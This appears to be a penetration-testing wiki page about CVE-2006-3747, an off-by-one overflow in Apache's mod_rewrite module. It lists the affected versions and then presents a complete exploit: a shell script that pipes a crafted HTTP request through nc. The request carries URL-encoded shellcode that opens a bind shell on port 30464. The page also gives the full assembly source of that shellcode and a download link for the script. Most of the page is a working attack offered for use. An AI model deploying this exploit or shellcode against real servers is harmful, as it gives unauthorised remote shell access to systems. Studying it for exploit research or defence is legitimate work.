Exploit & info about off-by-one overflow in mod_rewrite module of Apache HTTP server

Penetration Testing Wiki

Exploit & info about off-by-one overflow in mod_rewrite module of Apache HTTP server

CVE-2006-3747 POC & exploit for Apache 1.3/2.0/2.2 mod_rewrite off-by-one, SecurityFocus

https://www.securityfocus.com/archive/1/443870

Vulnerable Apache Versions

  • 1.3 branch: >1.3.28 and <1.3.37
  • 2.0 branch: >2.0.46 and <2.0.59
  • 2.2 branch: >2.2.0 and <2.2.3

However, due to the nature of the off-by-one sensitive exploitation not all the vulnerables versions are exploitables ones. I did a successful attack on Apache 1.3.34 (Debian Sarge package).

The Exploit

When I posted the original exploit in bugtraq on 2006-Aug-20 I sent the exploit as a quite long one-line 🙂 My e-mail client wrapped the line and introduced wrong white spaces between some OPCodes of the shellcode, here a good and improved version:

#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
# 
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P

echo -e "mod_rewrite apache off-by-one overflow"
echo -e "by jack <jack\x40gulcas\x2eorg>\n\n"

if [ $# -ne 1 ] ; then
  echo "Usage: $0 webserver"
  exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3\
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04\
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66\
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31\
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8\
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76\
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db\
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\
Host: $host\r\n\r\n" | nc $host 80

The Shellcode

The assembler code to generate OPCodes showed above is based on Taeho Oh bindshell and modified to bypass slash char (“/”) in the path of the shell (“/bin/sh”) and simplified, i.e: do not fork(), no short jumps, …:

	.section .text 
.globl _start 

_start: 
	mov  %esp,%esi 
	xorl %eax,%eax        
	xorl %ebx,%ebx        
	movl %esi,%ecx        
	movb $0x2,%al          
	movl %eax,(%esi)      
	movb $0x1,%al          
	movl %eax,0x4(%esi)   
	movb $0x6,%al         
	movl %eax,0x8(%esi)   
	movb $0x66,%al        
	movb $0x1,%bl         
	int  $0x80             
	movl %eax,(%esi)      
	movb $0x2,%al          
	movw %ax,0xc(%esi)    
	movb $0x77,%al # 0x77 = port 30464
	movw %ax,0xe(%esi)    
	leal 0xc(%esi),%eax   
	movl %eax,0x4(%esi)   
	xorl %eax,%eax        
	movl %eax,0x10(%esi)   
	movb $0x10,%al        
	movl %eax,0x8(%esi)   
	movb $0x66,%al        
	movb $0x2,%bl         
	int  $0x80             
	movb $0x1,%al          
	movl %eax,0x4(%esi)   
	movb $0x66,%al        
	movb $0x4,%bl          
	int  $0x80             
	xorl %eax,%eax        
	movl %eax,0x4(%esi)   
	movl %eax,0x8(%esi)   
	movb $0x66,%al        
	movb $0x5,%bl         
	int  $0x80             
	movb %al,%bl          
	movb $0x3f,%al        
	xorl %ecx,%ecx        
	int  $0x80
	movb $0x3f,%al        
	movb $0x1,%cl         
	int  $0x80             
	movb $0x3f,%al        
	movb $0x2,%cl         
	int  $0x80             
	movl $0x6e696223,%eax # String #bin
	movl %eax,(%esi)      
	movl $0x23687323,%eax # String #sh# 
	movl %eax,0x4(%esi)   
	xorl %eax,%eax        
	movb %al,0x7(%esi)    
	movb $0x30,%al # Move 0x30 to %eax 
	subb $0x01,%al # Subtract one: 0x2f
	movb %al,0x4(%esi) 
	movb %al,(%esi) 
	movl %esi,0x8(%esi) # /bin/sh\0 placed in (%esi)
	xorl %eax,%eax 
	movl %eax,0xc(%esi)   
	movb $0x0b,%al         
	movl %esi,%ebx        
	leal 0x8(%esi),%ecx   
	leal 0xc(%esi),%edx   
	int  $0x80 # Runs execve("/bin/sh", &"/bin/sh", 0x00000000);
	xorl %eax,%eax        
	movb $0x01,%al         
	xorl %ebx,%ebx        
	int  $0x80  # Runs exit(0); 

Download the exploit: https://raw.githubusercontent.com/defensahacker/CVE-2006-3747/master/exploit.sh

More info about the vulnerability in my github: https://github.com/defensahacker/CVE-2006-3747